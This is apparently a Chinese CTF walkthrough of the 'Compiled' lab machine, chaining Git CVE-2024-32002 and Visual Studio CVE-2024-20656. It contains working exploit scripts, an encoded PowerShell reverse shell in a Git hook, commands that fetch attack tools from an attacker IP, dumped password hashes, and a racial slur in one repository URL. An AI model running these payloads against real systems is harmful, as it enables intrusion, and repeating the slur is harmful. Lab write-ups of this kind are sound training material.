记一次渗透测试实战之Compiled
字数 1548 2025-08-22 12:23:36

渗透测试实战:Compiled靶机渗透全流程解析

一、信息收集阶段

1. 端口扫描与发现

使用nmap进行端口探测,发现以下开放端口:

  • 3000端口:Gitea代码托管平台
  • 5000端口:Web应用登录界面
  • 5985端口:WinRM服务
  • 7680端口:未知服务

2. 初步漏洞探测

对5000端口的Web应用进行测试:

  • 发现SSRF漏洞,但限制只能提交http协议的网站
  • 测试发现无法访问其他页面,返回404错误

访问3000端口发现Gitea网站,这是后续攻击的主要入口点。

二、漏洞利用阶段

1. CVE-2024-32002漏洞利用

漏洞原理
当受害者以递归方式克隆恶意存储库时,会执行子模块中包含的钩子。该漏洞存在于Git处理存储库子模块中的符号链接的方式中。

漏洞复现步骤

  1. 注册Gitea账号
  2. 创建两个仓库:repo1和repo2
  3. 在repo1中创建恶意钩子脚本:
#!/bin/bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
rm -rf repo1
rm -rf repo2
git clone http://gitea.compiled.htb:3000/xxxxxxxxx/repo1.git
cd repo1
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwAMQA0ADUAMQA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
  1. 在repo2中创建恶意子模块和符号链接:
cd ..
git clone http://gitea.compiled.htb:3000/celesian_nlte_cheating_niggers/repo2.git
cd repo2
git submodule add --name x/y "http://gitea.compiled.htb:3000/xxxxxxxxxx/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
  1. 在5000端口的Web应用中提交恶意仓库链接,触发漏洞执行反向shell。

2. 内网信息收集

获取初始shell后,进行以下信息收集:

  1. 检查用户目录和配置文件
  2. 枚举数据库文件,发现SQLite数据库
  3. 提取用户凭据:
select name, passwd, passwd_hash_algo from user;

获取到以下用户哈希:

  • administrator: 1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d
  • richard: 4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e
  • emily: 97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16
  • 0xdf: 16d47698acf90f528436af0be7e1511722f6a8fa386ae9069de8cd37515dcd06b0d1eece19301077159b8349640efce856ae

哈希算法均为PBKDF2,盐值格式为base64。

3. CVE-2024-20656提权漏洞利用

漏洞原理
通过Visual Studio诊断服务中的符号链接处理不当,实现权限提升。

利用步骤

  1. 创建虚拟目录和连接目录
  2. 触发VSStandardCollectorService150服务创建诊断会话
  3. 利用对象管理器符号链接重定向文件操作
  4. 替换MofCompiler.exe为恶意程序

POC修改

WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

void cb1(){
    printf("[*] Oplock!\n");
    while (!Move(hFile2)) {}
    printf("[+] File moved!\n");
    CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
    finished = TRUE;
}

实际操作

  1. 下载攻击工具:
wget 10.10.1633/Expl.exe -outfile e.exe
wget 10.10.16.33/rev-444.exe -outfile r.exe
  1. 执行提权攻击,获取SYSTEM权限。

三、总结与防护建议

1. 攻击链总结

  1. 通过Gitea的CVE-2024-32002漏洞获取初始立足点
  2. 利用数据库信息收集获取更多凭证
  3. 通过Visual Studio服务漏洞CVE-2024-20656实现权限提升

2. 防护建议

针对CVE-2024-32002

  • 及时更新Git和Gitea到最新版本
  • 限制用户创建仓库和子模块的权限
  • 审查并禁用不必要的Git钩子

针对CVE-2024-20656

  • 更新Visual Studio及相关组件
  • 限制对C:\ProgramData\Microsoft\VisualStudio目录的写入权限
  • 监控和审核符号链接创建行为

通用防护措施

  • 实施最小权限原则
  • 定期审计系统配置和权限
  • 监控异常进程创建和文件修改行为
渗透测试实战:Compiled靶机渗透全流程解析 一、信息收集阶段 1. 端口扫描与发现 使用nmap进行端口探测,发现以下开放端口: 3000端口:Gitea代码托管平台 5000端口:Web应用登录界面 5985端口:WinRM服务 7680端口:未知服务 2. 初步漏洞探测 对5000端口的Web应用进行测试: 发现SSRF漏洞,但限制只能提交http协议的网站 测试发现无法访问其他页面,返回404错误 访问3000端口发现Gitea网站,这是后续攻击的主要入口点。 二、漏洞利用阶段 1. CVE-2024-32002漏洞利用 漏洞原理 : 当受害者以递归方式克隆恶意存储库时,会执行子模块中包含的钩子。该漏洞存在于Git处理存储库子模块中的符号链接的方式中。 漏洞复现步骤 : 注册Gitea账号 创建两个仓库:repo1和repo2 在repo1中创建恶意钩子脚本: 在repo2中创建恶意子模块和符号链接: 在5000端口的Web应用中提交恶意仓库链接,触发漏洞执行反向shell。 2. 内网信息收集 获取初始shell后,进行以下信息收集: 检查用户目录和配置文件 枚举数据库文件,发现SQLite数据库 提取用户凭据: 获取到以下用户哈希: administrator: 1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d richard: 4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e emily: 97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16 0xdf: 16d47698acf90f528436af0be7e1511722f6a8fa386ae9069de8cd37515dcd06b0d1eece19301077159b8349640efce856ae 哈希算法均为PBKDF2,盐值格式为base64。 3. CVE-2024-20656提权漏洞利用 漏洞原理 : 通过Visual Studio诊断服务中的符号链接处理不当,实现权限提升。 利用步骤 : 创建虚拟目录和连接目录 触发VSStandardCollectorService150服务创建诊断会话 利用对象管理器符号链接重定向文件操作 替换MofCompiler.exe为恶意程序 POC修改 : 实际操作 : 下载攻击工具: 执行提权攻击,获取SYSTEM权限。 三、总结与防护建议 1. 攻击链总结 通过Gitea的CVE-2024-32002漏洞获取初始立足点 利用数据库信息收集获取更多凭证 通过Visual Studio服务漏洞CVE-2024-20656实现权限提升 2. 防护建议 针对CVE-2024-32002 : 及时更新Git和Gitea到最新版本 限制用户创建仓库和子模块的权限 审查并禁用不必要的Git钩子 针对CVE-2024-20656 : 更新Visual Studio及相关组件 限制对C:\ProgramData\Microsoft\VisualStudio目录的写入权限 监控和审核符号链接创建行为 通用防护措施 : 实施最小权限原则 定期审计系统配置和权限 监控异常进程创建和文件修改行为